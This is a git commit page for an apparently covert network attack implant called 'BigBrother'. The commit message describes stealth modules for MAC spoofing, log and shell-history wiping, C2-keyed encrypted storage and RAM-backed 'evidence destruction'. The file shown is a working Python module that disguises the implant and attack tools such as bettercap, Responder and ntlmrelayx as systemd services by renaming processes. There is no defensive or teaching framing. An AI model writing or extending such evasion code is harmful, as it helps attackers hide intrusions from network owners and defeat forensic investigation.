Add Phase 1 core stealth modules: MAC manager, process disguise, log suppression, encrypted storage, tmpfs manager, watchdog
6 stealth modules implementing the OPSEC layer: - MacManager: innocuous MAC profiles from DB, DHCP hostname/vendor class spoofing, TCP stack tuning (TTL, window, timestamps) - ProcessDisguise: rename processes to system service names via prctl, auto-disguise on MODULE_STARTED/TOOL_RESTARTED events - LogSuppression: rsyslog filters, auditd exclusions, journald rate limits, shell history/utmp/wtmp clearing with clean removal on stop - EncryptedStorage: LUKS2 container with HKDF network-derived key (CPU serial + C2 component), fallback key, auto-format and subdirectory creation - TmpfsManager: tier-aware RAM-backed mounts for working dirs and WAL files, power loss = instant evidence destruction - Watchdog: periodic health checks, auto-restart (max 3), OOM priority assignment by module type, bus event monitoring
This commit is contained in:
@@ -0,0 +1,179 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Process disguise module — rename all BigBrother processes to look like
|
||||
legitimate system services.
|
||||
|
||||
Reads process name mappings from stealth.yaml, renames own processes via
|
||||
prctl(PR_SET_NAME) and /proc/self/comm, and auto-disguises new module
|
||||
processes as they start.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import time
|
||||
import threading
|
||||
from typing import Dict, Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.stealth import rename_process, spoof_cmdline
|
||||
|
||||
logger = logging.getLogger("bb.stealth.process_disguise")
|
||||
|
||||
|
||||
class ProcessDisguise(BaseModule):
|
||||
"""Rename all managed processes to innocuous system service names."""
|
||||
|
||||
name = "process_disguise"
|
||||
module_type = "stealth"
|
||||
priority = -400
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._name_map: Dict[str, str] = {} # original -> disguised
|
||||
self._disguised_pids: Dict[int, str] = {} # pid -> fake_name
|
||||
self._lock = threading.Lock()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
# Load process name mappings from stealth.yaml config
|
||||
stealth_cfg = self.config.get("stealth_yaml", {})
|
||||
self._name_map = stealth_cfg.get("process_names", {})
|
||||
if not self._name_map:
|
||||
# Fallback defaults matching stealth.yaml
|
||||
self._name_map = {
|
||||
"python3": "systemd-thermald",
|
||||
"bettercap": "networkd-dispatcher",
|
||||
"tcpdump": "systemd-netlogd",
|
||||
"responder": "systemd-resolved",
|
||||
"mitmproxy": "systemd-networkd",
|
||||
"ntlmrelayx": "systemd-logind",
|
||||
"hostapd": "wpa_supplicant",
|
||||
"dnsmasq": "systemd-resolved",
|
||||
}
|
||||
|
||||
# Disguise own process first
|
||||
own_fake = self._name_map.get("python3", "systemd-thermald")
|
||||
self._apply_disguise(os.getpid(), own_fake)
|
||||
|
||||
# Spoof /proc/self/cmdline
|
||||
spoof_cmdline(own_fake)
|
||||
|
||||
# Subscribe to bus events for auto-disguise
|
||||
self.bus.subscribe(self._on_module_started, event_type="MODULE_STARTED")
|
||||
self.bus.subscribe(self._on_tool_restarted, event_type="TOOL_RESTARTED")
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||
|
||||
logger.info(
|
||||
"ProcessDisguise active — %d name mappings loaded, own PID %d -> %s",
|
||||
len(self._name_map), os.getpid(), own_fake,
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self.bus.unsubscribe(self._on_module_started, event_type="MODULE_STARTED")
|
||||
self.bus.unsubscribe(self._on_tool_restarted, event_type="TOOL_RESTARTED")
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("ProcessDisguise stopped — %d PIDs were disguised", len(self._disguised_pids))
|
||||
|
||||
def status(self) -> dict:
|
||||
with self._lock:
|
||||
pids_snapshot = dict(self._disguised_pids)
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"disguised_pids": pids_snapshot,
|
||||
"total_disguised": len(pids_snapshot),
|
||||
"name_mappings": len(self._name_map),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
new_names = config.get("stealth_yaml", {}).get("process_names")
|
||||
if new_names:
|
||||
self._name_map.update(new_names)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API for other modules / tool_manager
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def disguise_pid(self, pid: int, name: str) -> bool:
|
||||
"""Disguise an arbitrary PID with the given fake name.
|
||||
|
||||
Called by tool_manager or other modules to rename external processes.
|
||||
For external processes, we write to /proc/PID/comm (requires root or
|
||||
same user).
|
||||
"""
|
||||
return self._apply_disguise(pid, name)
|
||||
|
||||
def get_fake_name(self, original_name: str) -> str:
|
||||
"""Look up the disguise name for a process. Returns original if no mapping."""
|
||||
return self._name_map.get(original_name, original_name)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Event handlers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _on_module_started(self, event) -> None:
|
||||
"""Auto-disguise newly started module processes."""
|
||||
payload = event.payload
|
||||
pid = payload.get("pid")
|
||||
module_name = payload.get("module", "")
|
||||
|
||||
if pid and pid != os.getpid():
|
||||
# Python modules get the python3 disguise name
|
||||
fake = self._name_map.get("python3", "systemd-thermald")
|
||||
self._apply_disguise(pid, fake)
|
||||
logger.debug("Auto-disguised module %s (PID %d) -> %s", module_name, pid, fake)
|
||||
|
||||
def _on_tool_restarted(self, event) -> None:
|
||||
"""Re-disguise restarted tool processes."""
|
||||
payload = event.payload
|
||||
pid = payload.get("pid")
|
||||
tool_name = payload.get("tool", "")
|
||||
|
||||
if pid:
|
||||
fake = self._name_map.get(tool_name, tool_name)
|
||||
self._apply_disguise(pid, fake)
|
||||
logger.debug("Re-disguised restarted tool %s (PID %d) -> %s", tool_name, pid, fake)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _apply_disguise(self, pid: int, fake_name: str) -> bool:
|
||||
"""Apply a process name disguise to the given PID."""
|
||||
success = False
|
||||
|
||||
if pid == os.getpid():
|
||||
# Own process — use prctl
|
||||
success = rename_process(fake_name)
|
||||
else:
|
||||
# External process — write to /proc/PID/comm
|
||||
try:
|
||||
comm_path = f"/proc/{pid}/comm"
|
||||
with open(comm_path, "w") as f:
|
||||
f.write(fake_name[:15])
|
||||
success = True
|
||||
except (IOError, PermissionError, FileNotFoundError) as exc:
|
||||
logger.debug("Cannot disguise PID %d: %s", pid, exc)
|
||||
|
||||
if success:
|
||||
with self._lock:
|
||||
self._disguised_pids[pid] = fake_name
|
||||
|
||||
return success
|
||||
Reference in New Issue
Block a user